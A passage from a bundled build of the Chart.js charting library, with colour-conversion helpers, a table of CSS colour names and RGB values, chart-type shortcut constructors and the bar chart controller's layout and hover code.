arg == \"number\")\n        arg = Array.prototype.slice.call(arguments);\n      return conversions[func](arg);\n    }\n  })(func);\n\n  var pair = /(\\w+)2(\\w+)/.exec(func),\n      from = pair[1],\n      to = pair[2];\n\n  // export rgb2hsl and [\"rgb\"][\"hsl\"]\n  convert[from] = convert[from] || {};\n\n  convert[from][to] = convert[func] = (function(func) { \n    return function(arg) {\n      if (typeof arg == \"number\")\n        arg = Array.prototype.slice.call(arguments);\n      \n      var val = conversions[func](arg);\n      if (typeof val == \"string\" || val === undefined)\n        return val; // keyword\n\n      for (var i = 0; i < val.length; i++)\n        val[i] = Math.round(val[i]);\n      return val;\n    }\n  })(func);\n}\n\n\n/* Converter does lazy conversion and caching */\nvar Converter = function() {\n   this.convs = {};\n};\n\n/* Either get the values for a space or\n  set the values for a space, depending on args */\nConverter.prototype.routeSpace = function(space, args) {\n   var values = args[0];\n   if (values === undefined) {\n      // color.rgb()\n      return this.getValues(space);\n   }\n   // color.rgb(10, 10, 10)\n   if (typeof values == \"number\") {\n      values = Array.prototype.slice.call(args);        \n   }\n\n   return this.setValues(space, values);\n};\n  \n/* Set the values for a space, invalidating cache */\nConverter.prototype.setValues = function(space, values) {\n   this.space = space;\n   this.convs = {};\n   this.convs[space] = values;\n   return this;\n};\n\n/* Get the values for a space. If there's already\n  a conversion for the space, fetch it, otherwise\n  compute it */\nConverter.prototype.getValues = function(space) {\n   var vals = this.convs[space];\n   if (!vals) {\n      var fspace = this.space,\n          from = this.convs[fspace];\n      vals = convert[fspace][space](from);\n\n      this.convs[space] = vals;\n   }\n  return vals;\n};\n\n[\"rgb\", \"hsl\", \"hsv\", \"cmyk\", \"keyword\"].forEach(function(space) {\n   Converter.prototype[space] = function(vals) {\n      return this.routeSpace(space, arguments);\n   }\n});\n\nmodule.exports = convert;\n},{\"4\":4}],6:[function(require,module,exports){\n'use strict'\n\nmodule.exports = {\n\t\"aliceblue\": [240, 248, 255],\n\t\"antiquewhite\": [250, 235, 215],\n\t\"aqua\": [0, 255, 255],\n\t\"aquamarine\": [127, 255, 212],\n\t\"azure\": [240, 255, 255],\n\t\"beige\": [245, 245, 220],\n\t\"bisque\": [255, 228, 196],\n\t\"black\": [0, 0, 0],\n\t\"blanchedalmond\": [255, 235, 205],\n\t\"blue\": [0, 0, 255],\n\t\"blueviolet\": [138, 43, 226],\n\t\"brown\": [165, 42, 42],\n\t\"burlywood\": [222, 184, 135],\n\t\"cadetblue\": [95, 158, 160],\n\t\"chartreuse\": [127, 255, 0],\n\t\"chocolate\": [210, 105, 30],\n\t\"coral\": [255, 127, 80],\n\t\"cornflowerblue\": [100, 149, 237],\n\t\"cornsilk\": [255, 248, 220],\n\t\"crimson\": [220, 20, 60],\n\t\"cyan\": [0, 255, 255],\n\t\"darkblue\": [0, 0, 139],\n\t\"darkcyan\": [0, 139, 139],\n\t\"darkgoldenrod\": [184, 134, 11],\n\t\"darkgray\": [169, 169, 169],\n\t\"darkgreen\": [0, 100, 0],\n\t\"darkgrey\": [169, 169, 169],\n\t\"darkkhaki\": [189, 183, 107],\n\t\"darkmagenta\": [139, 0, 139],\n\t\"darkolivegreen\": [85, 107, 47],\n\t\"darkorange\": [255, 140, 0],\n\t\"darkorchid\": [153, 50, 204],\n\t\"darkred\": [139, 0, 0],\n\t\"darksalmon\": [233, 150, 122],\n\t\"darkseagreen\": [143, 188, 143],\n\t\"darkslateblue\": [72, 61, 139],\n\t\"darkslategray\": [47, 79, 79],\n\t\"darkslategrey\": [47, 79, 79],\n\t\"darkturquoise\": [0, 206, 209],\n\t\"darkviolet\": [148, 0, 211],\n\t\"deeppink\": [255, 20, 147],\n\t\"deepskyblue\": [0, 191, 255],\n\t\"dimgray\": [105, 105, 105],\n\t\"dimgrey\": [105, 105, 105],\n\t\"dodgerblue\": [30, 144, 255],\n\t\"firebrick\": [178, 34, 34],\n\t\"floralwhite\": [255, 250, 240],\n\t\"forestgreen\": [34, 139, 34],\n\t\"fuchsia\": [255, 0, 255],\n\t\"gainsboro\": [220, 220, 220],\n\t\"ghostwhite\": [248, 248, 255],\n\t\"gold\": [255, 215, 0],\n\t\"goldenrod\": [218, 165, 32],\n\t\"gray\": [128, 128, 128],\n\t\"green\": [0, 128, 0],\n\t\"greenyellow\": [173, 255, 47],\n\t\"grey\": [128, 128, 128],\n\t\"honeydew\": [240, 255, 240],\n\t\"hotpink\": [255, 105, 180],\n\t\"indianred\": [205, 92, 92],\n\t\"indigo\": [75, 0, 130],\n\t\"ivory\": [255, 255, 240],\n\t\"khaki\": [240, 230, 140],\n\t\"lavender\": [230, 230, 250],\n\t\"lavenderblush\": [255, 240, 245],\n\t\"lawngreen\": [124, 252, 0],\n\t\"lemonchiffon\": [255, 250, 205],\n\t\"lightblue\": [173, 216, 230],\n\t\"lightcoral\": [240, 128, 128],\n\t\"lightcyan\": [224, 255, 255],\n\t\"lightgoldenrodyellow\": [250, 250, 210],\n\t\"lightgray\": [211, 211, 211],\n\t\"lightgreen\": [144, 238, 144],\n\t\"lightgrey\": [211, 211, 211],\n\t\"lightpink\": [255, 182, 193],\n\t\"lightsalmon\": [255, 160, 122],\n\t\"lightseagreen\": [32, 178, 170],\n\t\"lightskyblue\": [135, 206, 250],\n\t\"lightslategray\": [119, 136, 153],\n\t\"lightslategrey\": [119, 136, 153],\n\t\"lightsteelblue\": [176, 196, 222],\n\t\"lightyellow\": [255, 255, 224],\n\t\"lime\": [0, 255, 0],\n\t\"limegreen\": [50, 205, 50],\n\t\"linen\": [250, 240, 230],\n\t\"magenta\": [255, 0, 255],\n\t\"maroon\": [128, 0, 0],\n\t\"mediumaquamarine\": [102, 205, 170],\n\t\"mediumblue\": [0, 0, 205],\n\t\"mediumorchid\": [186, 85, 211],\n\t\"mediumpurple\": [147, 112, 219],\n\t\"mediumseagreen\": [60, 179, 113],\n\t\"mediumslateblue\": [123, 104, 238],\n\t\"mediumspringgreen\": [0, 250, 154],\n\t\"mediumturquoise\": [72, 209, 204],\n\t\"mediumvioletred\": [199, 21, 133],\n\t\"midnightblue\": [25, 25, 112],\n\t\"mintcream\": [245, 255, 250],\n\t\"mistyrose\": [255, 228, 225],\n\t\"moccasin\": [255, 228, 181],\n\t\"navajowhite\": [255, 222, 173],\n\t\"navy\": [0, 0, 128],\n\t\"oldlace\": [253, 245, 230],\n\t\"olive\": [128, 128, 0],\n\t\"olivedrab\": [107, 142, 35],\n\t\"orange\": [255, 165, 0],\n\t\"orangered\": [255, 69, 0],\n\t\"orchid\": [218, 112, 214],\n\t\"palegoldenrod\": [238, 232, 170],\n\t\"palegreen\": [152, 251, 152],\n\t\"paleturquoise\": [175, 238, 238],\n\t\"palevioletred\": [219, 112, 147],\n\t\"papayawhip\": [255, 239, 213],\n\t\"peachpuff\": [255, 218, 185],\n\t\"peru\": [205, 133, 63],\n\t\"pink\": [255, 192, 203],\n\t\"plum\": [221, 160, 221],\n\t\"powderblue\": [176, 224, 230],\n\t\"purple\": [128, 0, 128],\n\t\"rebeccapurple\": [102, 51, 153],\n\t\"red\": [255, 0, 0],\n\t\"rosybrown\": [188, 143, 143],\n\t\"royalblue\": [65, 105, 225],\n\t\"saddlebrown\": [139, 69, 19],\n\t\"salmon\": [250, 128, 114],\n\t\"sandybrown\": [244, 164, 96],\n\t\"seagreen\": [46, 139, 87],\n\t\"seashell\": [255, 245, 238],\n\t\"sienna\": [160, 82, 45],\n\t\"silver\": [192, 192, 192],\n\t\"skyblue\": [135, 206, 235],\n\t\"slateblue\": [106, 90, 205],\n\t\"slategray\": [112, 128, 144],\n\t\"slategrey\": [112, 128, 144],\n\t\"snow\": [255, 250, 250],\n\t\"springgreen\": [0, 255, 127],\n\t\"steelblue\": [70, 130, 180],\n\t\"tan\": [210, 180, 140],\n\t\"teal\": [0, 128, 128],\n\t\"thistle\": [216, 191, 216],\n\t\"tomato\": [255, 99, 71],\n\t\"turquoise\": [64, 224, 208],\n\t\"violet\": [238, 130, 238],\n\t\"wheat\": [245, 222, 179],\n\t\"white\": [255, 255, 255],\n\t\"whitesmoke\": [245, 245, 245],\n\t\"yellow\": [255, 255, 0],\n\t\"yellowgreen\": [154, 205, 50]\n};\n\n},{}],7:[function(require,module,exports){\n/**\n * @namespace Chart\n */\nvar Chart = require(29)();\n\nChart.helpers = require(45);\n\n// @todo dispatch these helpers into appropriated helpers/helpers.* file and write unit tests!\nrequire(27)(Chart);\n\nChart.defaults = require(25);\nChart.Element = require(26);\nChart.elements = require(40);\nChart.Interaction = require(28);\nChart.layouts = require(30);\nChart.platform = require(48);\nChart.plugins = require(31);\nChart.Ticks = require(34);\n\nrequire(22)(Chart);\nrequire(23)(Chart);\nrequire(24)(Chart);\nrequire(33)(Chart);\nrequire(32)(Chart);\nrequire(35)(Chart);\n\nrequire(55)(Chart);\nrequire(53)(Chart);\nrequire(54)(Chart);\nrequire(56)(Chart);\nrequire(57)(Chart);\nrequire(58)(Chart);\n\n// Controllers must be loaded after elements\n// See Chart.core.datasetController.dataElementType\nrequire(15)(Chart);\nrequire(16)(Chart);\nrequire(17)(Chart);\nrequire(18)(Chart);\nrequire(19)(Chart);\nrequire(20)(Chart);\nrequire(21)(Chart);\n\nrequire(8)(Chart);\nrequire(9)(Chart);\nrequire(10)(Chart);\nrequire(11)(Chart);\nrequire(12)(Chart);\nrequire(13)(Chart);\nrequire(14)(Chart);\n\n// Loading built-it plugins\nvar plugins = require(49);\nfor (var k in plugins) {\n\tif (plugins.hasOwnProperty(k)) {\n\t\tChart.plugins.register(plugins[k]);\n\t}\n}\n\nChart.platform.initialize();\n\nmodule.exports = Chart;\nif (typeof window !== 'undefined') {\n\twindow.Chart = Chart;\n}\n\n// DEPRECATIONS\n\n/**\n * Provided for backward compatibility, not available anymore\n * @namespace Chart.Legend\n * @deprecated since version 2.1.5\n * @todo remove at version 3\n * @private\n */\nChart.Legend = plugins.legend._element;\n\n/**\n * Provided for backward compatibility, not available anymore\n * @namespace Chart.Title\n * @deprecated since version 2.1.5\n * @todo remove at version 3\n * @private\n */\nChart.Title = plugins.title._element;\n\n/**\n * Provided for backward compatibility, use Chart.plugins instead\n * @namespace Chart.pluginService\n * @deprecated since version 2.1.5\n * @todo remove at version 3\n * @private\n */\nChart.pluginService = Chart.plugins;\n\n/**\n * Provided for backward compatibility, inheriting from Chart.PlugingBase has no\n * effect, instead simply create/register plugins via plain JavaScript objects.\n * @interface Chart.PluginBase\n * @deprecated since version 2.5.0\n * @todo remove at version 3\n * @private\n */\nChart.PluginBase = Chart.Element.extend({});\n\n/**\n * Provided for backward compatibility, use Chart.helpers.canvas instead.\n * @namespace Chart.canvasHelpers\n * @deprecated since version 2.6.0\n * @todo remove at version 3\n * @private\n */\nChart.canvasHelpers = Chart.helpers.canvas;\n\n/**\n * Provided for backward compatibility, use Chart.layouts instead.\n * @namespace Chart.layoutService\n * @deprecated since version 2.8.0\n * @todo remove at version 3\n * @private\n */\nChart.layoutService = Chart.layouts;\n\n},{\"10\":10,\"11\":11,\"12\":12,\"13\":13,\"14\":14,\"15\":15,\"16\":16,\"17\":17,\"18\":18,\"19\":19,\"20\":20,\"21\":21,\"22\":22,\"23\":23,\"24\":24,\"25\":25,\"26\":26,\"27\":27,\"28\":28,\"29\":29,\"30\":30,\"31\":31,\"32\":32,\"33\":33,\"34\":34,\"35\":35,\"40\":40,\"45\":45,\"48\":48,\"49\":49,\"53\":53,\"54\":54,\"55\":55,\"56\":56,\"57\":57,\"58\":58,\"8\":8,\"9\":9}],8:[function(require,module,exports){\n'use strict';\n\nmodule.exports = function(Chart) {\n\n\tChart.Bar = function(context, config) {\n\t\tconfig.type = 'bar';\n\n\t\treturn new Chart(context, config);\n\t};\n\n};\n\n},{}],9:[function(require,module,exports){\n'use strict';\n\nmodule.exports = function(Chart) {\n\n\tChart.Bubble = function(context, config) {\n\t\tconfig.type = 'bubble';\n\t\treturn new Chart(context, config);\n\t};\n\n};\n\n},{}],10:[function(require,module,exports){\n'use strict';\n\nmodule.exports = function(Chart) {\n\n\tChart.Doughnut = function(context, config) {\n\t\tconfig.type = 'doughnut';\n\n\t\treturn new Chart(context, config);\n\t};\n\n};\n\n},{}],11:[function(require,module,exports){\n'use strict';\n\nmodule.exports = function(Chart) {\n\n\tChart.Line = function(context, config) {\n\t\tconfig.type = 'line';\n\n\t\treturn new Chart(context, config);\n\t};\n\n};\n\n},{}],12:[function(require,module,exports){\n'use strict';\n\nmodule.exports = function(Chart) {\n\n\tChart.PolarArea = function(context, config) {\n\t\tconfig.type = 'polarArea';\n\n\t\treturn new Chart(context, config);\n\t};\n\n};\n\n},{}],13:[function(require,module,exports){\n'use strict';\n\nmodule.exports = function(Chart) {\n\n\tChart.Radar = function(context, config) {\n\t\tconfig.type = 'radar';\n\n\t\treturn new Chart(context, config);\n\t};\n\n};\n\n},{}],14:[function(require,module,exports){\n'use strict';\n\nmodule.exports = function(Chart) {\n\tChart.Scatter = function(context, config) {\n\t\tconfig.type = 'scatter';\n\t\treturn new Chart(context, config);\n\t};\n};\n\n},{}],15:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar elements = require(40);\nvar helpers = require(45);\n\ndefaults._set('bar', {\n\thover: {\n\t\tmode: 'label'\n\t},\n\n\tscales: {\n\t\txAxes: [{\n\t\t\ttype: 'category',\n\n\t\t\t// Specific to Bar Controller\n\t\t\tcategoryPercentage: 0.8,\n\t\t\tbarPercentage: 0.9,\n\n\t\t\t// offset settings\n\t\t\toffset: true,\n\n\t\t\t// grid line settings\n\t\t\tgridLines: {\n\t\t\t\toffsetGridLines: true\n\t\t\t}\n\t\t}],\n\n\t\tyAxes: [{\n\t\t\ttype: 'linear'\n\t\t}]\n\t}\n});\n\ndefaults._set('horizontalBar', {\n\thover: {\n\t\tmode: 'index',\n\t\taxis: 'y'\n\t},\n\n\tscales: {\n\t\txAxes: [{\n\t\t\ttype: 'linear',\n\t\t\tposition: 'bottom'\n\t\t}],\n\n\t\tyAxes: [{\n\t\t\tposition: 'left',\n\t\t\ttype: 'category',\n\n\t\t\t// Specific to Horizontal Bar Controller\n\t\t\tcategoryPercentage: 0.8,\n\t\t\tbarPercentage: 0.9,\n\n\t\t\t// offset settings\n\t\t\toffset: true,\n\n\t\t\t// grid line settings\n\t\t\tgridLines: {\n\t\t\t\toffsetGridLines: true\n\t\t\t}\n\t\t}]\n\t},\n\n\telements: {\n\t\trectangle: {\n\t\t\tborderSkipped: 'left'\n\t\t}\n\t},\n\n\ttooltips: {\n\t\tcallbacks: {\n\t\t\ttitle: function(item, data) {\n\t\t\t\t// Pick first xLabel for now\n\t\t\t\tvar title = '';\n\n\t\t\t\tif (item.length > 0) {\n\t\t\t\t\tif (item[0].yLabel) {\n\t\t\t\t\t\ttitle = item[0].yLabel;\n\t\t\t\t\t} else if (data.labels.length > 0 && item[0].index < data.labels.length) {\n\t\t\t\t\t\ttitle = data.labels[item[0].index];\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn title;\n\t\t\t},\n\n\t\t\tlabel: function(item, data) {\n\t\t\t\tvar datasetLabel = data.datasets[item.datasetIndex].label || '';\n\t\t\t\treturn datasetLabel + ': ' + item.xLabel;\n\t\t\t}\n\t\t},\n\t\tmode: 'index',\n\t\taxis: 'y'\n\t}\n});\n\n/**\n * Computes the \"optimal\" sample size to maintain bars equally sized while preventing overlap.\n * @private\n */\nfunction computeMinSampleSize(scale, pixels) {\n\tvar min = scale.isHorizontal() ? scale.width : scale.height;\n\tvar ticks = scale.getTicks();\n\tvar prev, curr, i, ilen;\n\n\tfor (i = 1, ilen = pixels.length; i < ilen; ++i) {\n\t\tmin = Math.min(min, pixels[i] - pixels[i - 1]);\n\t}\n\n\tfor (i = 0, ilen = ticks.length; i < ilen; ++i) {\n\t\tcurr = scale.getPixelForTick(i);\n\t\tmin = i > 0 ? Math.min(min, curr - prev) : min;\n\t\tprev = curr;\n\t}\n\n\treturn min;\n}\n\n/**\n * Computes an \"ideal\" category based on the absolute bar thickness or, if undefined or null,\n * uses the smallest interval (see computeMinSampleSize) that prevents bar overlapping. This\n * mode currently always generates bars equally sized (until we introduce scriptable options?).\n * @private\n */\nfunction computeFitCategoryTraits(index, ruler, options) {\n\tvar thickness = options.barThickness;\n\tvar count = ruler.stackCount;\n\tvar curr = ruler.pixels[index];\n\tvar size, ratio;\n\n\tif (helpers.isNullOrUndef(thickness)) {\n\t\tsize = ruler.min * options.categoryPercentage;\n\t\tratio = options.barPercentage;\n\t} else {\n\t\t// When bar thickness is enforced, category and bar percentages are ignored.\n\t\t// Note(SB): we could add support for relative bar thickness (e.g. barThickness: '50%')\n\t\t// and deprecate barPercentage since this value is ignored when thickness is absolute.\n\t\tsize = thickness * count;\n\t\tratio = 1;\n\t}\n\n\treturn {\n\t\tchunk: size / count,\n\t\tratio: ratio,\n\t\tstart: curr - (size / 2)\n\t};\n}\n\n/**\n * Computes an \"optimal\" category that globally arranges bars side by side (no gap when\n * percentage options are 1), based on the previous and following categories. This mode\n * generates bars with different widths when data are not evenly spaced.\n * @private\n */\nfunction computeFlexCategoryTraits(index, ruler, options) {\n\tvar pixels = ruler.pixels;\n\tvar curr = pixels[index];\n\tvar prev = index > 0 ? pixels[index - 1] : null;\n\tvar next = index < pixels.length - 1 ? pixels[index + 1] : null;\n\tvar percent = options.categoryPercentage;\n\tvar start, size;\n\n\tif (prev === null) {\n\t\t// first data: its size is double based on the next point or,\n\t\t// if it's also the last data, we use the scale end extremity.\n\t\tprev = curr - (next === null ? ruler.end - curr : next - curr);\n\t}\n\n\tif (next === null) {\n\t\t// last data: its size is also double based on the previous point.\n\t\tnext = curr + curr - prev;\n\t}\n\n\tstart = curr - ((curr - prev) / 2) * percent;\n\tsize = ((next - prev) / 2) * percent;\n\n\treturn {\n\t\tchunk: size / ruler.stackCount,\n\t\tratio: options.barPercentage,\n\t\tstart: start\n\t};\n}\n\nmodule.exports = function(Chart) {\n\n\tChart.controllers.bar = Chart.DatasetController.extend({\n\n\t\tdataElementType: elements.Rectangle,\n\n\t\tinitialize: function() {\n\t\t\tvar me = this;\n\t\t\tvar meta;\n\n\t\t\tChart.DatasetController.prototype.initialize.apply(me, arguments);\n\n\t\t\tmeta = me.getMeta();\n\t\t\tmeta.stack = me.getDataset().stack;\n\t\t\tmeta.bar = true;\n\t\t},\n\n\t\tupdate: function(reset) {\n\t\t\tvar me = this;\n\t\t\tvar rects = me.getMeta().data;\n\t\t\tvar i, ilen;\n\n\t\t\tme._ruler = me.getRuler();\n\n\t\t\tfor (i = 0, ilen = rects.length; i < ilen; ++i) {\n\t\t\t\tme.updateElement(rects[i], i, reset);\n\t\t\t}\n\t\t},\n\n\t\tupdateElement: function(rectangle, index, reset) {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar dataset = me.getDataset();\n\t\t\tvar custom = rectangle.custom || {};\n\t\t\tvar rectangleOptions = chart.options.elements.rectangle;\n\n\t\t\trectangle._xScale = me.getScaleForId(meta.xAxisID);\n\t\t\trectangle._yScale = me.getScaleForId(meta.yAxisID);\n\t\t\trectangle._datasetIndex = me.index;\n\t\t\trectangle._index = index;\n\n\t\t\trectangle._model = {\n\t\t\t\tdatasetLabel: dataset.label,\n\t\t\t\tlabel: chart.data.labels[index],\n\t\t\t\tborderSkipped: custom.borderSkipped ? custom.borderSkipped : rectangleOptions.borderSkipped,\n\t\t\t\tbackgroundColor: custom.backgroundColor ? custom.backgroundColor : helpers.valueAtIndexOrDefault(dataset.backgroundColor, index, rectangleOptions.backgroundColor),\n\t\t\t\tborderColor: custom.borderColor ? custom.borderColor : helpers.valueAtIndexOrDefault(dataset.borderColor, index, rectangleOptions.borderColor),\n\t\t\t\tborderWidth: custom.borderWidth ? custom.borderWidth : helpers.valueAtIndexOrDefault(dataset.borderWidth, index, rectangleOptions.borderWidth)\n\t\t\t};\n\n\t\t\tme.updateElementGeometry(rectangle, index, reset);\n\n\t\t\trectangle.pivot();\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tupdateElementGeometry: function(rectangle, index, reset) {\n\t\t\tvar me = this;\n\t\t\tvar model = rectangle._model;\n\t\t\tvar vscale = me.getValueScale();\n\t\t\tvar base = vscale.getBasePixel();\n\t\t\tvar horizontal = vscale.isHorizontal();\n\t\t\tvar ruler = me._ruler || me.getRuler();\n\t\t\tvar vpixels = me.calculateBarValuePixels(me.index, index);\n\t\t\tvar ipixels = me.calculateBarIndexPixels(me.index, index, ruler);\n\n\t\t\tmodel.horizontal = horizontal;\n\t\t\tmodel.base = reset ? base : vpixels.base;\n\t\t\tmodel.x = horizontal ? reset ? base : vpixels.head : ipixels.center;\n\t\t\tmodel.y = horizontal ? ipixels.center : reset ? base : vpixels.head;\n\t\t\tmodel.height = horizontal ? ipixels.size : undefined;\n\t\t\tmodel.width = horizontal ? undefined : ipixels.size;\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tgetValueScaleId: function() {\n\t\t\treturn this.getMeta().yAxisID;\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tgetIndexScaleId: function() {\n\t\t\treturn this.getMeta().xAxisID;\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tgetValueScale: function() {\n\t\t\treturn this.getScaleForId(this.getValueScaleId());\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tgetIndexScale: function() {\n\t\t\treturn this.getScaleForId(this.getIndexScaleId());\n\t\t},\n\n\t\t/**\n\t\t * Returns the stacks based on groups and bar visibility.\n\t\t * @param {Number} [last] - The dataset index\n\t\t * @returns {Array} The stack list\n\t\t * @private\n\t\t */\n\t\t_getStacks: function(last) {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar scale = me.getIndexScale();\n\t\t\tvar stacked = scale.options.stacked;\n\t\t\tvar ilen = last === undefined ? chart.data.datasets.length : last + 1;\n\t\t\tvar stacks = [];\n\t\t\tvar i, meta;\n\n\t\t\tfor (i = 0; i < ilen; ++i) {\n\t\t\t\tmeta = chart.getDatasetMeta(i);\n\t\t\t\tif (meta.bar && chart.isDatasetVisible(i) &&\n\t\t\t\t\t(stacked === false ||\n\t\t\t\t\t(stacked === true && stacks.indexOf(meta.stack) === -1) ||\n\t\t\t\t\t(stacked === undefined && (meta.stack === undefined || stacks.indexOf(meta.stack) === -1)))) {\n\t\t\t\t\tstacks.push(meta.stack);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn stacks;\n\t\t},\n\n\t\t/**\n\t\t * Returns the effective number of stacks based on groups and bar visibility.\n\t\t * @private\n\t\t */\n\t\tgetStackCount: function() {\n\t\t\treturn this._getStacks().length;\n\t\t},\n\n\t\t/**\n\t\t * Returns the stack index for the given dataset based on groups and bar visibility.\n\t\t * @param {Number} [datasetIndex] - The dataset index\n\t\t * @param {String} [name] - The stack name to find\n\t\t * @returns {Number} The stack index\n\t\t * @private\n\t\t */\n\t\tgetStackIndex: function(datasetIndex, name) {\n\t\t\tvar stacks = this._getStacks(datasetIndex);\n\t\t\tvar index = (name !== undefined)\n\t\t\t\t? stacks.indexOf(name)\n\t\t\t\t: -1; // indexOf returns -1 if element is not present\n\n\t\t\treturn (index === -1)\n\t\t\t\t? stacks.length - 1\n\t\t\t\t: index;\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tgetRuler: function() {\n\t\t\tvar me = this;\n\t\t\tvar scale = me.getIndexScale();\n\t\t\tvar stackCount = me.getStackCount();\n\t\t\tvar datasetIndex = me.index;\n\t\t\tvar isHorizontal = scale.isHorizontal();\n\t\t\tvar start = isHorizontal ? scale.left : scale.top;\n\t\t\tvar end = start + (isHorizontal ? scale.width : scale.height);\n\t\t\tvar pixels = [];\n\t\t\tvar i, ilen, min;\n\n\t\t\tfor (i = 0, ilen = me.getMeta().data.length; i < ilen; ++i) {\n\t\t\t\tpixels.push(scale.getPixelForValue(null, i, datasetIndex));\n\t\t\t}\n\n\t\t\tmin = helpers.isNullOrUndef(scale.options.barThickness)\n\t\t\t\t? computeMinSampleSize(scale, pixels)\n\t\t\t\t: -1;\n\n\t\t\treturn {\n\t\t\t\tmin: min,\n\t\t\t\tpixels: pixels,\n\t\t\t\tstart: start,\n\t\t\t\tend: end,\n\t\t\t\tstackCount: stackCount,\n\t\t\t\tscale: scale\n\t\t\t};\n\t\t},\n\n\t\t/**\n\t\t * Note: pixel values are not clamped to the scale area.\n\t\t * @private\n\t\t */\n\t\tcalculateBarValuePixels: function(datasetIndex, index) {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar scale = me.getValueScale();\n\t\t\tvar datasets = chart.data.datasets;\n\t\t\tvar value = scale.getRightValue(datasets[datasetIndex].data[index]);\n\t\t\tvar stacked = scale.options.stacked;\n\t\t\tvar stack = meta.stack;\n\t\t\tvar start = 0;\n\t\t\tvar i, imeta, ivalue, base, head, size;\n\n\t\t\tif (stacked || (stacked === undefined && stack !== undefined)) {\n\t\t\t\tfor (i = 0; i < datasetIndex; ++i) {\n\t\t\t\t\timeta = chart.getDatasetMeta(i);\n\n\t\t\t\t\tif (imeta.bar &&\n\t\t\t\t\t\timeta.stack === stack &&\n\t\t\t\t\t\timeta.controller.getValueScaleId() === scale.id &&\n\t\t\t\t\t\tchart.isDatasetVisible(i)) {\n\n\t\t\t\t\t\tivalue = scale.getRightValue(datasets[i].data[index]);\n\t\t\t\t\t\tif ((value < 0 && ivalue < 0) || (value >= 0 && ivalue > 0)) {\n\t\t\t\t\t\t\tstart += ivalue;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbase = scale.getPixelForValue(start);\n\t\t\thead = scale.getPixelForValue(start + value);\n\t\t\tsize = (head - base) / 2;\n\n\t\t\treturn {\n\t\t\t\tsize: size,\n\t\t\t\tbase: base,\n\t\t\t\thead: head,\n\t\t\t\tcenter: head + size / 2\n\t\t\t};\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tcalculateBarIndexPixels: function(datasetIndex, index, ruler) {\n\t\t\tvar me = this;\n\t\t\tvar options = ruler.scale.options;\n\t\t\tvar range = options.barThickness === 'flex'\n\t\t\t\t? computeFlexCategoryTraits(index, ruler, options)\n\t\t\t\t: computeFitCategoryTraits(index, ruler, options);\n\n\t\t\tvar stackIndex = me.getStackIndex(datasetIndex, me.getMeta().stack);\n\t\t\tvar center = range.start + (range.chunk * stackIndex) + (range.chunk / 2);\n\t\t\tvar size = Math.min(\n\t\t\t\thelpers.valueOrDefault(options.maxBarThickness, Infinity),\n\t\t\t\trange.chunk * range.ratio);\n\n\t\t\treturn {\n\t\t\t\tbase: center - size / 2,\n\t\t\t\thead: center + size / 2,\n\t\t\t\tcenter: center,\n\t\t\t\tsize: size\n\t\t\t};\n\t\t},\n\n\t\tdraw: function() {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar scale = me.getValueScale();\n\t\t\tvar rects = me.getMeta().data;\n\t\t\tvar dataset = me.getDataset();\n\t\t\tvar ilen = rects.length;\n\t\t\tvar i = 0;\n\n\t\t\thelpers.canvas.clipArea(chart.ctx, chart.chartArea);\n\n\t\t\tfor (; i < ilen; ++i) {\n\t\t\t\tif (!isNaN(scale.getRightValue(dataset.data[i]))) {\n\t\t\t\t\trects[i].draw();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\thelpers.canvas.unclipArea(chart.ctx);\n\t\t},\n\n\t\tsetHoverStyle: function(rectangle) {\n\t\t\tvar dataset = this.chart.data.datasets[rectangle._datasetIndex];\n\t\t\tvar index = rectangle._index;\n\t\t\tvar custom = rectangle.custom || {};\n\t\t\tvar model = rectangle._model;\n\n\t\t\tmodel.backgroundColor = custom.hoverBackgroundColor ? custom.hoverBackgroundColor : helpers.valueAtIndexOrDefault(dataset.hoverBackgroundColor, index, helpers.getHoverColor(model.backgroundColor));\n\t\t\tmodel.borderColor = custom.hoverBorderColor ? custom.hoverBorderColor : helpers.valueAtIndexOrDefault(dataset.hoverBorderColor, index, helpers.getHoverColor(model.borderColor));\n\t\t\tmodel.borderWidth = custom.hoverBorderWidth ? custom.hoverBorderWidth : helpers.valueAtIndexOrDefault(dataset.hoverBorderWidth, index, model.borderWidth);\n\t\t},\n\n\t\tremoveHoverStyle: function(rectangle) {\n\t\t\tvar dataset = this.chart.data.datasets[rectangle._datasetIndex];\n\t\t\tvar index = rectangle._index;\n\t\t\tvar custom = rectangle.custom || {};\n\t\t\tvar model = rectangle._model;\n\t\t\tvar rectangleElementOptions = this.chart.options.elements.rectangle;\n\n\t\t\tmodel.backgroundColor = custom.backgroundColor ? custom.backgroundColor : helpers.valueAtIndexOrDefault(dataset.backgroundColor, index, rectangleElementOptions.backgroundColor);\n\t\t\tmodel.borderColor = custom.borderColor ? custom.borderColor : helpers.valueAtIndexOrDefault(dataset.borderColor, index, rectangleElementOptions.borderColor);\n\t\t\tmodel.borderWidth = custom.borderWidth ? custom.borderWidth : helpers.valueAtIndexOrDefault(dataset.borderWidth, index, rectangleElementOptions.borderWidth);\n\t\t}\n\t});\n\n\tChart.controllers.horizontalBar = Chart.controllers.bar.extend({\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tgetValueScaleId: function() {\n\t\t\treturn this.getMeta().xAxisID;\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tgetIndexScaleId: function() {\n\t\t\treturn this.getMeta().yAxisID;\n\t\t}\n\t});\n};\n\n},{\"25\":25,\"40\":40,\"45\":45}],16:[function(require,module,exports){\n'use 